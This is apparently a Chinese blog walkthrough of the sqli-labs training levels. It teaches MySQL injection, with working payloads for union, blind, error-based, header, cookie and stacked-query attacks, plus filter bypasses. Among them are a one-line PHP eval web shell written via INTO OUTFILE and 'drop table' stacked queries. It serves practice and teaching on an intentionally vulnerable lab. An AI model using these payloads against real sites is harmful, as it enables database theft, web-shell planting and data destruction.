sqli_labs通关
sqli_labs通关
首先是sqli_labs的安装需要几点注意
- 修改配置里面的数据库用户密码
- php版本应该为5
- php.ini里面魔术引号关掉
前置知识
数据库的组成结构:库->database 表->table 列->column(access没有多个库)
以下是针对mysql的一些常规操作
- select database(); //查看当前所用的数据库
- select table_name from information_schema.tables where table_name=database(); //查看当前数据库的所有表名
- select column_name from information_schema.columns where table_name=’xxx’; //查看某个表里面的所有列名
- order by x; //这个x可以是列名也可以是数字,数字就表示是第几列的意思
这里要解释一下information_schema里面的结构,information_schema是mysql中一个重要的表,原来记录一些重要的信息,里面有许多表,我们只需要记住几个常用的
- TABLES ->TABLE_NAME(表名);TABLE_SCHEMA(表对应的库名);
- COLUMNS->TABLE_SCHEMA(列所在表对应的库名);TABLE_NAME(列所在的表名);COLUMN_NAME(字段名)
sql注入的类型
- 报错注入
- 布尔盲注
- 堆叠注入
Less-1
尝试地传一个?id=1’,页面报错
报错显示 use near ‘’1’’ LIMIT 0,1’ at line 1
可以知道构造的sql语句是 ‘1’’ LIMIT 0,1 可以发现这里的参数是被一对单引号括住的,这样子我们根据报错的内容得到了sql语句,我们就可以尝试去闭合原来的单引号的基础上去构造我们想要的sql语句
1 | #原本的sql语句应该是 |
注释可以用– 或者# 像第一关是url里面传参,要经过url编码,所以可以使用
–+ 因为+解码后会变成空格
接下来可以爆列数,使用order by,发现刚好order by 3的时候不会报错
传一个
发现了爆出的数据的点,于是我们可以组织一下我们的payload了
顺利查到表名,接下来想查啥都好说了
Less-2
可以知道没有单引号,所以就 把第一关的payload去掉一个单引号就行
Less-3
这里用的是’)
Less-4
“)
Less-5
到了这里就是布尔盲注了
说到布尔盲注,我们需要记住几个常见的字符串处理函数
- mid(string,start,length)
str=”12345” mid(str,2,1) 输出2
- substr(string,start,length)
用法和mid一样
- left(string,length)
str=”12345” left(str,2) 输出12
- ord(str)
得到返回第一个字符的ASCII
- ascii() 和ord一样
当我们传入id=1的时候 页面没有回显账户的信息,只会给一个正确登录的提示
这个时候我们可以传一个错误的and运算就可以知道盲注的基本思想
当我们在and后面传入错误的运算时,页面没有正确的回显,于是我们可以在and后面加入一些判断语句,例如判断数据库长度大小的,由于我们事先知道数据库的名字为security,长度为8
我们还可以继续去爆库名,比如
知道第一个字符是s后就可以继续往下爆,这里一般都是用sqlmap批量跑,在misc题目也经常会遇到sqlmap的盲注流量题
Less-6
payload去掉’
Less-7
payload加上’)),看标题写着dump into outfile
- load_file() 读取文件并返回该文件的内容作为一个字符串
- select into outfile “绝对路径\1.php” 写入一个一句话木马
- Lines terminated by //在每行结束的位置添加内容
1 | select 1 into outfile 'd:/xx/xx/xx/shell.php' lines terminated by '<?php @eval($_REQUEST[1])?>' |
- Lines starting by //在每行开始的位置添加内容
- fieids terminated by //在每个字段的间隔中插入内容
- colomns terminated by //在每个字段的位置添加内容
Less-8
payload加上’
常见报错函数
这里补充一下除布尔盲注之外的盲注,例如基于报错的盲注,报错往往是一些函数的特性导致,在利用报错盲注的时候要特别注意php版本,在最开始学习报错盲注的时候就在这里浪费了很多时间,这里记录一些常见的报错函数
floor()
floor()的功能是向下取整,返回一个不大于x的最大整数,例如floor(1.2)=1
一般配合rand()使用,是一个随机数函数,会随机生成一个0到1直接的数
当rand()有了参数之后,它会对所查询的每条数据产生一个随机数,但是从时间角度看每次给的随机数值是一样的,所以这个随机数的可以预测的,也叫伪随机数
而floor(rand(0)*2)会生成0或者1的数,当它和group by一起用的时候,会进行多次运算,可以知道floor(rand(0)*2)会得到011011的序列
当在group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,**
floor(rand(0)\*2)
**再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)
又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!
利用payload
1 | select count(), concat((select database()), '-', floor(rand(0)*2)) as a from information_schema.tables group by a; |
extractvalue()
从目标XML中返回包含所查询值的字符串,MySQL5.1.5以上版本才支持
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容
payload:
1 | extractvalue(null,concat(0x7e,(select database()),0x7e)) |
updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
payload:
1 | updatexml(1,concat('~',(select database()),'~'),3); |
exp()
exp函数如果里面的数值大于709的时候,会溢出报错
适用于mysql5.5.5及以上版本,这个报错对版本有高要求,很容易失败
payload:
1 | select exp(~(select*from(select user())x)); |
geometrycollection()
geometrycollection(point(10 10), point(30 30), linestring(15 15, 20 20))
报错原理:MYSQL无法用这样字符串画出图形
5.5<MYSQL版本<5.6
payload:
1 | geometrycollection((select * from(select * from(select database())a)b)) |
multipoint ()
Multipoint (inputs, {spatial_reference}, {has_z}, {has_m})
报错原理和上面那个一样
payload:
1 | multipoint((select * from(select * from(select database())a)b)); |
polygon()
和上面一样
payload:
1 | polygon((select * from(select * from(select database())a)b)); |
multipolygon()
payload:
1 | multipolygon((select * from(select * from(select user())a)b)); |
linestring()
payload:
1 | linestring((select * from(select * from(select user())a)b)); |
multilinestring()
payload:
1 | multilinestring((select * from(select * from(select user())a)b)); |
Less-9
标题是时间盲注
延时注入
- sleep(seconds)函数,里面数字多大就睡几秒,因此可以构造以下payload根据页面响应的时间来判断
1 | id=1 and if(substr(select database(),1,1)='s',sleep(5),0) |
如果数据库名第一个字符是s的话页面就会卡5秒
- BENCHMARK()
BENCHMARK(count,expr),该函数会重复执行表达式expr count次,payload如下
1 | ?id=1'union select (if(substr(database(),1,1)='s',BEN CHMARK(50000000,ENCODE('MSG','by 5 seconds'))))--+ |
若第一个字符是s页面会卡5秒
Less-10
和上一关一样,差别在于双引号
Less-11
到了这里就是POST的注入了
这里介绍一下常用的万能密码
‘ or 1#
这里可能还是看不明白,我们结合一下源码
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); |
根据我们传入的值,最后执行的sql语句会变成
1 | SELECT username, password FROM users WHERE username=''or 1#' and password='$passwd' LIMIT 0,1; |
可以发现先闭合了前面的单引号,然后用一个or 1构成永真式,再用#注释掉后面的内容,数据库就会返回结果,填在密码那里同样可行,同时又因为登录失败会返回错误信息,前面所学的报错函数在这里也可以用上
Less-12
爆出以”)闭合 修改前面的payload就可以
Less-13
双查询报错,其实和前面的是一个道理,直接看payload
Less-14
和13一样,区别在于没有)
Less-15
没有报错提示,可以利用布尔或者延时盲注
Less-16
和15一样
Less-17
这次是一个修改密码的功能,看源码知道对用户名进行了函数保护
所以我们要在password进行报错函数的使用
Less-18
直接看源码
1 | $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo "</font>"; //echo "<br>"; echo '<font color= "#0000ff" font size = 3 >'; echo 'Your User Agent is: ' .$uagent; echo "</font>"; echo "<br>"; print_r(mysql_error()); echo "<br><br>"; echo '<img src="../images/flag.jpg" />'; echo "<br>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; } |
可以看到源码对于ua,ip这些是没有过滤的,所以我们可以通过修改包头来进行报错注入,由于这里我们直接看源码,所以我们可以闭合几个引号
或者是使用
1 | 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1 |
都可以
Less-19
和18关一样,改成Referer就行
Less-20
源码的意思是只要登录过,第二次刷新直接用cookie里面的username来执行sql语句,由于cookie没有函数进行过滤,所以我们对cookie进行报错函数的注入即可,由于没有找到好用的插件,所以直接上bp了
Less-21
对cookie进行了base64加密,把上一关的cookie加个base64就行
Less-22
同21
Less-23
这一关过滤了#和– 意味着我们不能通过注释的方式来处理后面那个引号
但是没有过滤’的使用,所以我们可以用
1 | ?id=1'or'1'='1 |
来绕过,此时sql语句为
1 | select * from users where id='1'or'1'='1 |
这是直接传’or’1’=’1也能注出来结果
Less-24
这关有点意思,感觉有点任意用户密码修改漏洞内味了
注册一个新用户,然后数据库查询一下
发现已经注册成功了,这个时候修改一下这个用户的密码,就会发现变成修改
admin的密码
Less-25
过滤了and和or,用符号就行
Less-26
这里就有点麻烦了,过滤了挺多的
1 | function blacklist($id) |
但是我们可以用双写和括号来绕过过滤的内容和空格,具体payload如下
1 | ?id=1') aandnd ('1'='1 |
如果要查其它信息,记得information_schema要改成infoorrmation_schema
Less-27
大小写混合绕过 同时要想办法创造空格
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
最后的payload
1 | 999'%0AUNion%0ASElEct%0A1,database(),3||'1'='1 |
Less-28
这个过滤了union select 可以用双写来绕过
爆个库名试试看
空字符绕过
mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字。而一些防御性的代码遇到用户传入’的时候,会变成\‘,这个时候我们要想办法去掉\,\的url编码是%5c,而若我们在\的前面再加一个字符恰好可以和%5c组成一个汉字,那么就可以进行绕过,如图下
Less-32、33
Less-34
这一关就是post版的空字符绕过,这里和get有点区别,由于get是直接在url修改,你传入一个%91会直接当作url编码的值对待,但是如果你post一个%91,会再次进行一次url编码,所以我们直接在bp里面修改就可以
Less-35
这里有一个小技巧,若我们想使用字符串可以用十六进制后的数字来避免引号的使用
Less-36
还是老办法
Less-37
万能密码�’ or 1=1#
堆叠注入
在SQL语句中,分号;用来表示一条sql语句的结束。如果我们在一条sql语句结尾的分号后面再加上一条sql语句,照样可以运行
通过堆叠注入我们可以脱离原本的sql语句,去进行一些其它的数据库功能,比如创建新的表。不过堆叠注入也有很大的局限性,我们根据源码可以知道,php连接数据库的时候是以一个用户的身份登录的,而这个用户的权限一般比较低,只有查询功能,所以一些删除和创建是无法实现的,同时oracle数据库是不支持堆叠注入的
Less-38、39、40、41
这几关就是闭合方式不一样,payload都是一样的
可以看到数据库已经多了一条数据了
Less-42、43、44、45
1 | $username = mysqli_real_escape_string($con1, $_POST["login_user"]); |
直接看源码发现passwd是没有过滤的,直接上payload
1 | c';drop table me;# (删除 me 表) |
Less-46、47
源码很简单
1 |
|
Less-48、49
这一关要求是布尔盲注,我们测试了一下,发现rand(true)和rand(false)时回显不一样,那么我们可以把我们的布尔式放到rand函数里面,如下
Less-50、51、52、53
这一关是order by 加上堆叠注入
1 | ?sort=1;drop table me;# |